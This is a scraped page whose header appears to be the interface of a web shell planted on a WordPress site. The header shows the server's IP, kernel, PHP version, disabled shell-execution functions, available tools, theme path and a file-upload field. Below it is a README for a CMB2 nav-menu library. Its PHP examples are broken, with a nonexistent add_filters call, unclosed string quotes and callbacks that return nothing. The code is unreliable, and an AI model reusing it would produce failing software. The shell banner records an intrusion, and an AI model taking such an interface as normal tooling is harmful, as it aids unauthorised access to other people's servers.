AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK
| Server IP : dzynews.com / Your IP : 216.73.217.105 Web Server : nginx/1.30.3 System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64 User : www ( 1000) PHP Version : 8.2.31 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Library/cmb2-nav-menu/ |
Upload File : |
CMB2 Nav Menus
==============
_Lets you use CMB2 in nav menu entries._
Register menu location to enable CMB2:
```php
// Add filter for locations
add_filter('cmb2_nav_menus', function($menu_slugs) {
$menu_slugs[] = 'my_menu';
return $menu_slugs;
}, 10, 1);
```
Register CMB2 fields for menu:
```php
// For all menus
add_filters('cmb2_nav_menu_fields, function($fields) {
// You can set ID both as the key and in the array
$fields['icon-class'] = [
'name' => __( 'Icon Class', 'theme' ),
'type' => 'fontawesome_icon',
'help' => 'Choose a FontAwesome icon class name (eg. fa-circle)',
];
}, 10, 1);
// For specific menu
add_filters('cmb2_nav_menu_fields_my_menu, function($fields) {
// You can set ID both as the key and in the array
$fields['disabled'] = [
'name' => __( 'Disabled', 'theme' ),
'type' => 'checkbox',
'style' => 'thin',
];
}, 10, 1);
```
Get the nav menu item option with the included helper:
```php
cmb2_get_nav_option($menu_item_id, $key = '', $default = null);
```